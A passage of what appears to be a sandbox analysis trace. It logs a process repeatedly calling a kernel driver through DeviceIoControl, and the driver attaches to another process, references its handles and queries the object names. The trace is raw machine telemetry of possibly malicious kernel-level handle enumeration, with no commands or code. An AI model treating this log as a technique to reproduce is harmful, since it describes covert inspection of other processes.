returned 0x2 [0113.549] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.549] ObQueryNameString (in: Object=0xfffff8a001aa1cc0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.549] ObfDereferenceObject (Object=0xfffff8a001aa1cc0) returned 0x2 [0113.549] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.549] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.549] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xfa, lpOverlapped=0x0) returned 1 [0113.549] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.549] PsAcquireProcessExitSynchronization () returned 0x0 [0113.549] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.549] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001aa1c00, HandleInformation=0x0) returned 0x0 [0113.549] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.549] PsReleaseProcessExitSynchronization () returned 0x2 [0113.549] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.549] ObQueryNameString (in: Object=0xfffff8a001aa1c00, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.549] ObfDereferenceObject (Object=0xfffff8a001aa1c00) returned 0x2 [0113.549] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.549] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.549] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0113.549] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.549] PsAcquireProcessExitSynchronization () returned 0x0 [0113.549] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.549] ObReferenceObjectByHandle (in: Handle=0x484, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020b9880, HandleInformation=0x0) returned 0x0 [0113.549] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.549] PsReleaseProcessExitSynchronization () returned 0x2 [0113.549] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.549] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.549] ObfDereferenceObject (Object=0xfffffa80020b9880) returned 0xe [0113.549] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.550] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.550] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0113.550] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.550] PsAcquireProcessExitSynchronization () returned 0x0 [0113.550] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.550] ObReferenceObjectByHandle (in: Handle=0x494, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0017007a0, HandleInformation=0x0) returned 0x0 [0113.550] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.550] PsReleaseProcessExitSynchronization () returned 0x2 [0113.550] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.550] ObQueryNameString (in: Object=0xfffff8a0017007a0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.550] ObfDereferenceObject (Object=0xfffff8a0017007a0) returned 0x2 [0113.550] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.550] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.550] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0113.550] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.550] PsAcquireProcessExitSynchronization () returned 0x0 [0113.550] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.550] ObReferenceObjectByHandle (in: Handle=0x4ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0113.550] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.550] PsReleaseProcessExitSynchronization () returned 0x2 [0113.550] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.550] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.550] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0113.550] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.550] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.550] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0113.550] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.550] PsAcquireProcessExitSynchronization () returned 0x0 [0113.550] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.550] ObReferenceObjectByHandle (in: Handle=0x4cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800206b070, HandleInformation=0x0) returned 0x0 [0113.550] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.551] PsReleaseProcessExitSynchronization () returned 0x2 [0113.551] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.551] ObQueryNameString (in: Object=0xfffffa800206b070, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.551] ObfDereferenceObject (Object=0xfffffa800206b070) returned 0x11 [0113.551] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.551] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.551] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.551] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.551] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.551] PsAcquireProcessExitSynchronization () returned 0x0 [0113.551] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.551] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a28d00, HandleInformation=0x0) returned 0x0 [0113.551] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.551] PsReleaseProcessExitSynchronization () returned 0x2 [0113.551] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.551] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.551] ObfDereferenceObject (Object=0xfffffa8001a28d00) returned 0x1 [0113.551] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.551] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.551] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.551] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.551] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.551] PsAcquireProcessExitSynchronization () returned 0x0 [0113.551] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.551] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80035185e0, HandleInformation=0x0) returned 0x0 [0113.551] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.551] PsReleaseProcessExitSynchronization () returned 0x2 [0113.551] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.551] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.551] ObfDereferenceObject (Object=0xfffffa80035185e0) returned 0x1 [0113.551] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.551] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.551] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.551] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0113.551] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.552] PsAcquireProcessExitSynchronization () returned 0x0 [0113.552] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.552] ObReferenceObjectByHandle (in: Handle=0x5a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0113.552] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.552] PsReleaseProcessExitSynchronization () returned 0x2 [0113.552] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.552] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.552] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0113.552] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.552] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.552] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.552] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0113.552] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.552] PsAcquireProcessExitSynchronization () returned 0x0 [0113.552] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.552] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0113.552] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.552] PsReleaseProcessExitSynchronization () returned 0x2 [0113.552] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.552] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.552] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0113.552] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.552] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.552] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.552] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0113.552] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.552] PsAcquireProcessExitSynchronization () returned 0x0 [0113.552] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.552] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003532dd0, HandleInformation=0x0) returned 0x0 [0113.552] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.552] PsReleaseProcessExitSynchronization () returned 0x2 [0113.552] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.552] ObQueryNameString (in: Object=0xfffffa8003532dd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.552] ObfDereferenceObject (Object=0xfffffa8003532dd0) returned 0x11 [0113.552] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.553] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.553] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0113.553] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.553] PsAcquireProcessExitSynchronization () returned 0x0 [0113.553] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.553] ObReferenceObjectByHandle (in: Handle=0x610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800354bf20, HandleInformation=0x0) returned 0x0 [0113.553] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.553] PsReleaseProcessExitSynchronization () returned 0x2 [0113.553] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.553] ObQueryNameString (in: Object=0xfffffa800354bf20, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.553] ObfDereferenceObject (Object=0xfffffa800354bf20) returned 0x11 [0113.553] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.553] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.553] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0113.553] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.553] PsAcquireProcessExitSynchronization () returned 0x0 [0113.553] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.553] ObReferenceObjectByHandle (in: Handle=0x614, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032b7610, HandleInformation=0x0) returned 0x0 [0113.553] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.553] PsReleaseProcessExitSynchronization () returned 0x2 [0113.553] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.553] ObQueryNameString (in: Object=0xfffffa80032b7610, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.553] ObfDereferenceObject (Object=0xfffffa80032b7610) returned 0x1 [0113.553] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.554] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.554] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.554] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.554] PsAcquireProcessExitSynchronization () returned 0x0 [0113.554] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.554] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001b1e840, HandleInformation=0x0) returned 0x0 [0113.554] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.554] PsReleaseProcessExitSynchronization () returned 0x2 [0113.554] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.554] ObQueryNameString (in: Object=0xfffff8a001b1e840, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.554] ObfDereferenceObject (Object=0xfffff8a001b1e840) returned 0x2 [0113.554] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.554] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.554] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0113.554] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.554] PsAcquireProcessExitSynchronization () returned 0x0 [0113.554] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.554] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80035a59d0, HandleInformation=0x0) returned 0x0 [0113.554] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.554] PsReleaseProcessExitSynchronization () returned 0x2 [0113.554] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.554] ObQueryNameString (in: Object=0xfffffa80035a59d0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.554] ObfDereferenceObject (Object=0xfffffa80035a59d0) returned 0x10 [0113.554] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.554] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.554] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.554] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.554] PsAcquireProcessExitSynchronization () returned 0x0 [0113.554] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.554] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003570070, HandleInformation=0x0) returned 0x0 [0113.554] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.554] PsReleaseProcessExitSynchronization () returned 0x2 [0113.554] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.555] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.555] ObfDereferenceObject (Object=0xfffffa8003570070) returned 0x1 [0113.555] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.555] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.555] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.555] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, 